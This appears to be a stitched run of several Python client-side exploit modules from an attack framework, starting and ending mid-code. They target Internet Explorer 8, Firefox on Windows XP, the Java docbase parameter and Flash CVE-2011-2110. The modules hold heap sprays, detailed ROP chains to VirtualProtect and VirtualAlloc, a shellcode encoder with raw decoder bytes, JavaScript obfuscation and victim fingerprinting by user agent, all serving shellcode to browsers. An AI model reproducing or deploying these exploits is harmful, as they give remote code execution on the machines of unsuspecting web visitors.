somethin_an_other...) - exec shellcode """ replaces={} replaces["SHELLCODE"]=urluencode(self.shellcode) replaces["STACKPIVOT"]="0x5DFFF66B" replaces["LoadLibraryA"]="0x5DFF1074" replaces["GetProcAddress"]="0x5DFF1068" replaces["POPEAX"]="0x5DFF21CC" replaces["POPECX"]="0x5DFF3E21" replaces["POPEDI"]="0x5DFF1041" replaces["MOVEAX,[EAX]RETEAX"]="0x5DFF6621" replaces["MOV[ECX+24],EAX"]="0x5E00FE05" replaces["JMPEAX"]="0x5DFF6623" filedata=""" <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head></head> <body><script>""" js=""" function format_string(str) { str+=unescape("%u0000"); var out=""; for (x = 0; x < str.length; x+=4) { num = str.charCodeAt(x); if (x+1 < str.length) num = num + (str.charCodeAt(x+1) << 8) if (x+2 < str.length) num = num + (str.charCodeAt(x+2) << 16) if (x+3 < str.length) num = num + (str.charCodeAt(x+3) << 24) out+=format_dword(num); } return out; } function format_dword(num) { tmp=num.toString(16); tmp="00000000".substring(0,8-tmp.length)+tmp; return unescape("%u"+tmp.substring(4,8) + "%u" + tmp.substring(0,4)); } function ie8_spray(obj, finalsize, chunksize, count){ chunksize/=2; //unicode chars finalsize/=2; //unicode chars var shellcode = unescape("SHELLCODE"); var chunkbase = obj + shellcode; while (chunkbase.length < chunksize) //alignment padding chunkbase+=unescape("%u4141"); while (chunkbase.length < finalsize) //big page size chunkbase+=chunkbase; var chunkbase1 = chunkbase.substring(0, finalsize/2); var chunkbase2 = chunkbase.substring(finalsize/2, finalsize-0x812); var arr = new Array(); arr[0] = chunkbase1 + chunkbase2; for (var i=1; i < count; i++) arr[i] = arr[0].substring(0, arr[0].length); return arr; } var obj=""; obj+=format_dword(0x09001024+0x60); //0x00 - mov eax, [ecx] obj+=format_dword(0x00000000); //0x04 obj+=format_dword(0x00000000); //0x08 obj+=format_dword(0x00000000); //0x0C obj+=format_dword(0x00000000); //0x10 obj+=format_dword(0x00000001); //0x14 - cmp dword ptr [ecx+18h],1/jz - True Branch obj+=format_dword(0x00000080); //0x18 - mov eax, [ecx+18h]/test al,al/jns - False Branch obj+=format_dword(0x09001024); //0x1C - mov ecx, [ecx+1Ch]/test ecx,ecx/jnz - True Branch obj+=format_dword(0x09001024); //0x20 - mov ecx, [ecx+20h] obj+=format_dword(0x00000000); //0x24 obj+=format_dword(0x00000000); //0x28 obj+=format_dword(0x00000000); //0x2C obj+=format_dword(0x00000000); //0x30 obj+=format_dword(0x00000000); //0x34 - test byte ptr [eax+34h], 2/jnz - False branch obj+=format_dword(0x00000000); //0x38 obj+=format_dword(0x00000000); //0x3C obj+=format_dword(0x00000000); //0x40 obj+=format_dword(0x00000000); //0x44 obj+=format_dword(0x00000000); //0x48 obj+=format_dword(0x00000000); //0x4C obj+=format_dword(0x00000000); //0x50 obj+=format_dword(0x00000000); //0x54 obj+=format_dword(0x00000000); //0x58 obj+=format_dword(0x09001024); //0x5C - mov eax, [esi+5Ch] //ROP obj+=format_dword(POPEAX); //0x60 obj+=format_dword(LoadLibraryA); //0x64 obj+=format_dword(MOVEAX,[EAX]RETEAX); //0x68 - after this: EAX = NTDLL base handle obj+=format_dword(0x00000000); //0x6C - SPARE obj+=format_dword(POPECX); //0x70 obj+=format_dword(0x09001024+0xBC); //0x74 - kernel32.dll string obj+=format_dword(0x09001024-0X24+0x9C); //0x78 - address to patch the ROP obj+=format_dword(POPEDI); //0x7C - just to get rid of the next dword obj+=format_dword(STACKPIVOT); //0x80 - mov edx, [eax+20h]/jmp edx (eax == +0x60) obj+=format_dword(MOV[ECX+24],EAX); //0x84 - patch ROP with kernel32 handle for GetProcAddress obj+=format_dword(POPEAX); //0x88 obj+=format_dword(GetProcAddress); //0x8C obj+=format_dword(MOVEAX,[EAX]RETEAX); //0x90 obj+=format_dword(0x00000000); //0x94 - SPARE obj+=format_dword(JMPEAX); //0x98 - EAX == VirtualProtect address obj+=format_dword(0xcafecafe); //0x9C - GetProcAddres 1st argument - kernel32 Handle obj+=format_dword(0x09001024+0xCC); //0xA0 - GetProcAddres 2nd argument - Proc Name obj+=format_dword(0x00000000); //0xA4 - SPARE obj+=format_dword(0x09001024+0xDC); //0xA8 - return to shellcode directly obj+=format_dword(0x09001000); //0xAC - VirtualProtect 1st Arg - Addr obj+=format_dword(0x00003000); //0xB0 - VirtualProtect 2nd Arg - Size obj+=format_dword(0x00000040); //0xB4 - VirtualProtect 3rd Arg - newprot obj+=format_dword(0x09001024); //0xB8 - VirtualProtect 4th Arg - oldprot ptr obj+=format_string("kernel32.dll"); //0xBC - zero ended, DWORD aligned obj+=format_string("VirtualProtect"); //0xCC - zero ended, DWORD aligned ref = ie8_spray(obj, 0x00100000, 0x1000, 0x80); elem = document.createElement("link"); elem.rel="stylesheet"; elem.type="text/css"; elem.href="anycssnameworks.css"; document.getElementsByTagName("head")[0].appendChild(elem); """ for k,v in replaces.iteritems(): js=js.replace(k,v) filedata+=self.jsObfuscator.obfuscate(js) filedata+=""" </script> </body> </html> """ return filedata def makecss(self): filedata=("@import url(" + self.cssname + ");")*self.number_of_imports return filedata.encode("utf-16") def makesploit(self,clientheader,clientbody): """ Construct the attack """ from libs.spkproxy import header, body h=header("SERVER") b=body() self.log("Request: "+clientheader.URL) if clientheader.URL.count(self.filename): #the exploit self.log("sending HTML") self.createShellcode() sploitstring=self.makefile() b.setBody(sploitstring) h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) h.addHeader("Content-Type","text/html") elif len(clientheader.URL) > 3: self.log("sending CSS") sploitstring=self.makecss() b.setBody(sploitstring) h.addHeader("Content-Type","text/css") else: #redirect to self self.log("redirecting to self") h.status="302" h.addHeader("Location",self.filename) h.addHeader("Content-Type","text/html") return h,b
class theexploit(httpclientside): def __init__(self): httpclientside.__init__(self) self.version=0 self.name=NAME self.filename=''.join([random.choice(string.uppercase) for x in range(8)])+'.html' # Set up our javascript obfuscator, this could be done in httpclientside class self.jsObfuscator=JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") self.plugin_info=None # we want clientd to give us a plugin dict self.nohttpmosdef = True #we don't have room for the large http mosdef shellcode...see maximum size in the #encoder notes. return # self.plugin_info comes from clientd in parse_plugin_data scrubbed format def is_vulnerable(self,info_dict): self.user_agent = info_dict.get('user_agent',"") if not self.isWindowsXP(info_dict): self.log("%s: Unsure that this is Windows XP, which is the only OS we support currently"%self.name) return 0 if 'Firefox' not in self.user_agent: self.log("%s: User Agent not Firefox - bailing out. %s"%(self.name, self.user_agent)) return 0 for t in targets.keys(): target=targets[t] if target[0] in self.user_agent: self.log("%s: Vulnerable version found"%(self.name)) return 70 self.log("%s: Not supported version of Firefox"%(self.name)) return 0 def makefile(self,request_header=None): # Select ROP based on User-Agent (sequence from wild sample) # Rop will copy shellcode to RWE page until 0xFFFFFFFF (end of shellcode) for t in targets.keys(): target=targets[t] if target[0] in self.user_agent: stackswap = target[1] ret = target[2] rop = target[3] self.log("%s: Using %s for stack swapping and %s for Ret slide"%(self.name, stackswap,ret)) shellcode = urluencode(self.shellcode+'\xFF\xFF\xFF\xFF').replace("%","") filedata=""" <body><div style="visibility:hidden;width:0px;height:0px"> <div id=sun>ROP</div> <div id=suv>SHELLCODE</div> </div><body><script type="text/javascript">SCRIPT</script> """.replace("SHELLCODE",shellcode).replace("ROP",rop) script = """ function de(su){ var i;var sun = ""; for (i = 0; i < su.length; i++){ sun += String.fromCharCode(parseInt(su[i], 16)); } return unescape(sun); } function code(beastk){ var nop = ""; var len = beastk.length; for (i = 0; i < len;) { nop = nop + "m" + beastk.substring(i, i + 5); i = i + 5; } nop = nop.split("m").toString(); var temp = new Array(); for (j = 0; j < nop.length; j++) { if (nop.charCodeAt(j).toString(16) == "2c") { temp.push("25"); } else { temp.push(nop.charCodeAt(j).toString(16)); } } return de(temp); } function create_append(str){ var cobj=document.createElement(str); document.body.appendChild(cobj); cobj.scrollWidth; // flush layout return; } var bk="mp.ojsyex5"; var array = new Array(); var ls = 0x100000-(bk.length*2+0x01020); b1 = code('RET'); var b = b1; while (b.length < (0x85750 - 0x1000) / 2) { b += b1 }; var sun = document.getElementById("sun").innerHTML; var suv = document.getElementById("suv").innerHTML; b += code(sun + suv); for (u = 0; u < 8; u++) { b1 += b1; } while (b.length < ls) { b += b1; } var lh = b.substring(0, ls / 2); b = ""; for (i = 0; i < 0x200; i++) { array[i] = lh + bk; } b1=code('STACKSWAP'); for (i = 0; i < 16; i++) { b1 += b1; } b = b1; while (b.length < ls) { b += b1; } lh = b.substring(0, ls / 2); b = ""; for (i = 0x200; i < 0x500; i++) { array[i] = lh + bk; } var tags = new Array("audio", "a", "base"); for (inx = 0; inx < 0x3; inx++){ for (i = 0; i < tags.length; i++) { create_append(tags[i]); var html = "<" + tags[i] + " " + "textContent" + "=a></" + tags[i] + ">" + tags[i]; document.write(html); } }""".replace("STACKSWAP",stackswap).replace("RET",ret) filedata = filedata.replace('SCRIPT',self.jsObfuscator.obfuscate(script)) self.debuglog("Built the exploit") return filedata def makesploit(self, clientheader, clientbody): from libs.spkproxy import header, body # header is used to store request and reponse headers header=header('SERVER') body=body() # Clientd gives us a lot of information about the remote endpoint if self.plugin_info: # Check if the remote endpoint is vulnerable to our exploit if self.is_vulnerable(self.plugin_info)==0: self.log('Bailing on this client as it is not likely to be vulnerable') #Return a 404 here? return None,None if clientheader.URL.count(self.filename): self.log('%s: Serving HTML file'%self.name) # Create the shellcode (self.shellcode) self.createShellcode() # Create the HTML Contents html=self.makefile(request_header=clientheader) if not html: self.log("%s: Error creating HTML for this exploit"%self.name) return None, None #done body.setBody(html) header.addHeader('Content-Type','text/html') header.addHeader('Set-Cookie','SessionID=%d'%(self.jsObfuscator.getXORKey())) else: self.log('%s: Redirecting to self'%self.name) header.status='302' header.addHeader('Location',self.filename) header.addHeader('Content-Type','text/html') return header,body def neededListenerTypes(self): return self.clientSideListenerTypes() def getArgs(self): self.host=self.target.interface self.getarg('filename') return def displayVersions(self): for t in targets.keys(): print 'Version %d: %s'%(t,targets[t][0]) return def run(self): # Populate the needed arguments of the exploit self.getArgs() # Build the html that triggers the vulnerability filedata=self.makefile() self.log('Opening %s for output'%(self.filename)) fd=file(self.filename,'wb+') fd.write(filedata) fd.close() self.debuglog('Wrote to %s'%(self.filename),color='red') return 1
class theexploit(httpclientside): def __init__(self): httpclientside.__init__(self) self.version = 0 self.name = NAME self.filename = ''.join( [random.choice(string.uppercase) for x in range(8)]) + '.html' # Set up our javascript obfuscator, this could be done in httpclientside class self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") self.plugin_info = None # we want clientd to give us a plugin dict self.nohttpmosdef = True #we don't have room for the large http mosdef shellcode...see maximum size in the #encoder notes. return # self.plugin_info comes from clientd in parse_plugin_data scrubbed format def is_vulnerable(self, info_dict): major, minor, build, patch = self.getJavaVersions(info_dict) if not major: #No Java return 0 user_agent = info_dict.get('user_agent', "") if 'MSIE 8' not in user_agent and 'MSIE 7.0' not in user_agent: #Not in tested version of IE self.log("%s: User Agent not MSIE 7/8 - bailing out. %s" % (self.name, user_agent)) return 0 if major == 1: if minor <= 6: if patch <= 21: self.version = (major * 10000) + (minor * 1000) + ( build * 100) + patch return 70 return 0 def encodeShellcode(self): rawshellcode = self.shellcode while (len(rawshellcode) % 4) != 0: rawshellcode += 'A' SIZE = len(rawshellcode) / 4 while ((SIZE & 0xff) >= 0x80) and ( (SIZE & 0xff) <= 0x9f): #increase SIZE if within the badchars range rawshellcode += 'BBBB' SIZE += 1 #the encoding scheme is pretty self explanatory encodedshellcode = '' for i in range(0, len(rawshellcode), 4): L = struct.unpack('<L', rawshellcode[i:i + 4])[0] HIGH = ((L & 0xf0f0f0f0) >> 4) + 0x40404040 LOW = (L & 0x0f0f0f0f) + 0x40404040 encodedshellcode += struct.pack('<LL', HIGH, LOW) decoder = '' decoder += '\xd9\xee' # 0: fldz decoder += '\xd9\x74\x24\xf4' # 2: fnstenv 0xfffffff4(%esp) decoder += '\x5e' # 6: pop %esi decoder += '\x6a\x28' # 7: push $0x28 decoder += '\x59' # 9: pop %ecx decoder += '\x03\xf1' # a: add %ecx,%esi decoder += '\x56' # c: push %esi decoder += '\x5f' # d: pop %edi if SIZE <= 0xff: decoder += '\xb1' + chr(SIZE) # e: mov $SIZE,%cl else: decoder += '\x66\xb9' + chr(SIZE & 0xff) + chr( (SIZE >> 8) & 0xff) # e: mov $SIZE,%cx decoder += '\xad' #10|12: lods %ds:(%esi),%eax decoder += '\x2d\x40\x40\x40\x40' #11|13: sub $0x40404040,%eax decoder += '\xc1\xe0\x04' #16|18: shl $0x4,%eax decoder += '\x50' #19|1b: push %eax decoder += '\x5a' #1a|1c: pop %edx decoder += '\xad' #1b|1d: lods %ds:(%esi),%eax decoder += '\x2d\x40\x40\x40\x40' #1c|1e: sub $0x40404040,%eax decoder += '\x03\xc2' #21|23: add %edx,%eax decoder += '\xab' #23|25: stos %eax,%es:(%edi) decoder += '\xe2\xea' #24|26: loop 0x10 while len(decoder) % 4 != 0: decoder += '\x41' #26|27: inc %ecx shellcode = decoder + encodedshellcode self.log('Total shellcode length=%d' % (len(shellcode))) return shellcode def makefile(self, request_header=None): if not self.version: # We are not using clientd so we need to get the target information somehow self.log('[-] We are running outside Clientd') # If we have a request header we are good if request_header != None: if 'MSIE 8' in request_header.getHeaderValue('User-Agent'): self.log('IE 8 detected') #Cannot detect the Java version here. Not much we can do. if not self.version: self.log('[-] No version was set! Bailing out...') return '' # Now we should have a target self.log('Java version=%d' % (self.version)) if self.version <= 16021: shellcode = self.encodeShellcode() if len(shellcode) > 0xfe0: self.log('[-] Shellcode is too big! Cannot continue...') return '' #Will write a 0x10 byte stager in a RWE VirtualAlloc'ed page and jump to #it. Stager will copy 0xfe0 bytes in that page and execute them. #All is done in MSVCR71.dll (stable from JRE 6.0.x to 6.0.22) # depchain = """sBoF += dword(0x7C341FE6); //ret (replace with 0x6d4120c0 for int3) sBoF += str(0x10, 'B'); sBoF += dword(0x7c3410c3); // POP ECX sBoF += dword(0x7c38b120); // Writeable address for parallel stack (.data) //VirtualAlloc sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0x7C37A0A0); // -> vAlloc sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7C3530EA); // MOV EAX,DWORD PTR DS:[EAX] sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX // RET TO STACK SWAPPING (RESTORE) sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0x7C341FE6); // -> & RET sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX //Arguments: Address = NULL | Size = 4132 | MEM_COMMIT | PAGE_EXECUTE_READWRITE sBoF += dword(0x7C36DABD); // XOR EAX,EAX / INC EAX sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0xFFFFEFDC); // -1024 sBoF += dword(0x7c34d749); // NEG EAX sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0xFFFFEFFF); // -1001 sBoF += dword(0x7c34d749); // NEG EAX sBoF += dword(0x7C341DA1); // DEC EAX sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0xFFFFFFC0); // -40 sBoF += dword(0x7c34d749); // NEG EAX sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX //STACK SWAPPING (RESTORE) sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0x7C376ffc); // -> MOV ESP, EBX / RET sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX //STACK SWAPPING sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0x7c38b120); // ex CAFECAFE sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0x7c38b11C); // Parallel Stack sBoF += dword(0x7C35AA6C); // XCHG EAX,EBP sBoF += dword(0x7C347460); // MOV EBX, ESP sBoF += dword(0x7C375A3D); // MOV ESP,EBP / POP EBP / RET // WRITE STAGER IN RWE VirtualAlloc'ed PAGE sBoF += dword(0x7C343427); // MOV ECX, EAX sBoF += dword(0xCCCCCCCC); // PADDING sBoF += dword(0x7C341FE6); // RET sBoF += str(0x10, 'B'); sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0x41414158); sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0x545f5141); sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0x7f6a905e); sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0x05e1c159); sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0x04eba4f2); // sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7C36DABC); // INC ECX sBoF += dword(0x7c344cc1); // POP EAX & ret sBoF += dword(0x9090eaeb); sBoF += dword(0x7c3503c8); // MOV [ECX], EAX sBoF += dword(0x7C341DD1); // CALL ECX sBoF += SHELLCODE; """.replace('SHELLCODE', repr(shellcode)) else: self.log('Unsupported Java version!') return '' script = """var sBoF = str(0x188, 'A'); DEPCHAIN asHtml = [ '<object type="application/x-java-applet">', '<param name="launchjnlp" value="1"/>', '<param name="docbase" value="' + sBoF + '"/>', 'FAIL!', '</object>' ]; document.write(asHtml.join('')); function str(iCount, sString) { return new Array(iCount + 1).join(sString); } function dword(iValue) { for (var sString = ''; sString.length < 4;) sString += String.fromCharCode(iValue & 0xFF), iValue >>>= 8; return sString; }""".replace('DEPCHAIN', depchain) filedata = """<html><body><script>SCRIPT</script></body></html>""".replace( 'SCRIPT', self.jsObfuscator.obfuscate(script)) self.debuglog("Built the exploit") return filedata def makesploit(self, clientheader, clientbody): from libs.spkproxy import header, body # header is used to store request and reponse headers header = header('SERVER') body = body() # Clientd gives us a lot of information about the remote endpoint if self.plugin_info: # Check if the remote endpoint is vulnerable to our exploit if self.is_vulnerable(self.plugin_info) == 0: self.log( 'Bailing on this client as it is not likely to be vulnerable' ) #Return a 404 here? return None, None if clientheader.URL.count(self.filename): self.log('%s: Serving HTML file' % self.name) # Create the shellcode (self.shellcode) self.createShellcode() # Create the HTML Contents html = self.makefile(request_header=clientheader) if not html: self.log("%s: Error creating HTML for this exploit" % self.name) return None, None #done body.setBody(html) header.addHeader('Content-Type', 'text/html') header.addHeader('Set-Cookie', 'SessionID=%d' % (self.jsObfuscator.getXORKey())) else: self.log('%s: Redirecting to self' % self.name) header.status = '302' header.addHeader('Location', self.filename) header.addHeader('Content-Type', 'text/html') return header, body def neededListenerTypes(self): return self.clientSideListenerTypes() def getArgs(self): self.host = self.target.interface self.getarg('filename') return def displayVersions(self): for t in targets.keys(): print 'Version %d: %s' % (t, targets[t][0]) return def run(self): # Populate the needed arguments of the exploit self.getArgs() # Build the html that triggers the vulnerability filedata = self.makefile() self.log('Opening %s for output' % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.debuglog('Wrote to %s' % (self.filename), color='red') return 1
class theexploit(httpclientside): def __init__(self): httpclientside.__init__(self) self.version = 0 self.name = NAME self.filename = self._get_random_filename() self.jsfilename = 'AC_RunActiveContent.js' self.swffilename = 'Resources/CVE_2011_2110/APSB11_18.swf' self.trojan_filename = self._get_random_filename(extension="txt") self.language = "" #"en-us" # uncomment this to default to English version self.plugin_info = None # we want clientd to give us a plugin dict self.refresh_rate = 30 self.xorer = XOR.new("\x5a") self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") self.supports_dns_mosdef = True def random_dummy_string(self, prefix=""): h = hashlib.new('sha1') h.update(str(random.random() * 10).replace('.', '')) retval = h.hexdigest() retval = '%s%.5s' % (prefix, retval) return retval def _get_random_filename(self, length=8, extension="html"): values = [random.choice(string.uppercase) for x in range(length)] values.append(".%s" % extension) return "".join(values) def check_flash_version(self, ver, major, minor, build): """ Returns True if flash version is one of these: 10.3.181.14 10.3.181.22 10.3.181.23 """ self.log("checking version %s %s %s %s" % (ver, major, minor, build)) return ((ver, major, minor, build) in (('10', '3', '181', '14'), ('10', '3', '181', '22'), ('10', '3', '181', '23'))) def is_vulnerable(self, info_dict): """ Check to make sure this is something we want to run. Target platform must be Windows and Flash player version a valid one """ ret = 0 if "plugins" in info_dict: if "windows" in info_dict['user_agent'].lower() or\ "win" in info_dict['plugins']['platform'].lower(): self.log("Target platform is Windows!") # the format of the flash version can be different depending on the client if "MSIE" in info_dict['user_agent']: version = info_dict['plugins'].get('IE Flash', None) # expected format "WIN 10.3.181.23" if version is not None: version = version.split()[1] ver, major, minor, build = version.split('.') if self.check_flash_version(ver, major, minor, build): ret = 90 else: version = info_dict['plugins'].get('Shockwave Flash', None) # expected format "Shockwave Flash 10.3 r181" # In this case we cannot know for sure if that is affected by our exploit # but if it starts with 10.3.181 or less we assume it is vulnerable if version is not None: version = version.split()[2:] ver, major = version[0].split('.') minor = version[1].strip('r') if self.check_flash_version(ver, major, minor, '22'): ret = 40 self.log("Flash version found: %s" % version) if ret != 0: self.log("Flash player version seems to be vulnerable!") else: self.log( "Target seems not to have Flash player installed. Assuming is not vulnerable" ) return ret def _encrypt(self, data): return self.xorer.encrypt(zlib.compress(data)) def _decrypt(self, data): #not really needed... return self.xorer.decrypt(zlib.decompress(data)) def makeJS(self): js = """//v1.7 // Flash Player Version Detection // Detect Client Browser type // Copyright 2005-2007 Adobe Systems Incorporated. All rights reserved. var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false; var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false; function ControlVersion() { var version; var axo; var e; // NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry try { // version will be set for 7.X or greater players axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7"); version = axo.GetVariable("$version"); } catch (e) { } if (!version) { try { // version will be set for 6.X players only axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6"); // installed player is some revision of 6.0 // GetVariable("$version") crashes for versions 6.0.22 through 6.0.29, // so we have to be careful. // default to the first public version version = "WIN 6,0,21,0"; // throws if AllowScripAccess does not exist (introduced in 6.0r47) axo.AllowScriptAccess = "always"; // safe to call for 6.0r47 or greater version = axo.GetVariable("$version"); } catch (e) { } } if (!version) { try { // version will be set for 4.X or 5.X player axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3"); version = axo.GetVariable("$version"); } catch (e) { } } if (!version) { try { // version will be set for 3.X player axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3"); version = "WIN 3,0,18,0"; } catch (e) { } } if (!version) { try { // version will be set for 2.X player axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash"); version = "WIN 2,0,0,11"; } catch (e) { version = -1; } } return version; } // JavaScript helper required to detect Flash Player PlugIn version information function GetSwfVer(){ // NS/Opera version >= 3 check for Flash plugin in plugin array var flashVer = -1; if (navigator.plugins != null && navigator.plugins.length > 0) { if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) { var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : ""; var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description; var descArray = flashDescription.split(" "); var tempArrayMajor = descArray[2].split("."); var versionMajor = tempArrayMajor[0]; var versionMinor = tempArrayMajor[1]; var versionRevision = descArray[3]; if (versionRevision == "") { versionRevision = descArray[4]; } if (versionRevision[0] == "d") { versionRevision = versionRevision.substring(1); } else if (versionRevision[0] == "r") { versionRevision = versionRevision.substring(1); if (versionRevision.indexOf("d") > 0) { versionRevision = versionRevision.substring(0, versionRevision.indexOf("d")); } } var flashVer = versionMajor + "." + versionMinor + "." + versionRevision; } } // MSN/WebTV 2.6 supports Flash 4 else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4; // WebTV 2.5 supports Flash 3 else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3; // older WebTV supports Flash 2 else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2; else if ( isIE && isWin && !isOpera ) { flashVer = ControlVersion(); } return flashVer; } // When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision) { versionStr = GetSwfVer(); if (versionStr == -1 ) { return false; } else if (versionStr != 0) { if(isIE && isWin && !isOpera) { // Given "WIN 2,0,0,11" tempArray = versionStr.split(" "); // ["WIN", "2,0,0,11"] tempString = tempArray[1]; // "2,0,0,11" versionArray = tempString.split(","); // ['2', '0', '0', '11'] } else { versionArray = versionStr.split("."); } var versionMajor = versionArray[0]; var versionMinor = versionArray[1]; var versionRevision = versionArray[2]; // is the major.revision >= requested major.revision AND the minor version >= requested minor if (versionMajor > parseFloat(reqMajorVer)) { return true; } else if (versionMajor == parseFloat(reqMajorVer)) { if (versionMinor > parseFloat(reqMinorVer)) return true; else if (versionMinor == parseFloat(reqMinorVer)) { if (versionRevision >= parseFloat(reqRevision)) return true; } } return false; } } function AC_AddExtension(src, ext) { if (src.indexOf('?') != -1) return src.replace(/\?/, ext+'?'); else return src + ext; } function AC_Generateobj(objAttrs, params, embedAttrs) { var str = ''; if (isIE && isWin && !isOpera) { str += '<object '; for (var i in objAttrs) { str += i + '="' + objAttrs[i] + '" '; } str += '>'; for (var i in params) { str += '<param name="' + i + '" value="' + params[i] + '" /> '; } str += '</object>'; } else { str += '<embed '; for (var i in embedAttrs) { str += i + '="' + embedAttrs[i] + '" '; } str += '> </embed>'; } document.write(str); } function AC_FL_RunContent(){ var ret = AC_GetArgs ( arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" , "application/x-shockwave-flash" ); AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs); } function AC_SW_RunContent(){ var ret = AC_GetArgs ( arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000" , null ); AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs); } function AC_GetArgs(args, ext, srcParamName, classid, mimeType){ var ret = new Object(); ret.embedAttrs = new Object(); ret.params = new Object(); ret.objAttrs = new Object(); for (var i=0; i < args.length; i=i+2){ var currArg = args[i].toLowerCase(); switch (currArg){ case "classid": break; case "pluginspage": ret.embedAttrs[args[i]] = 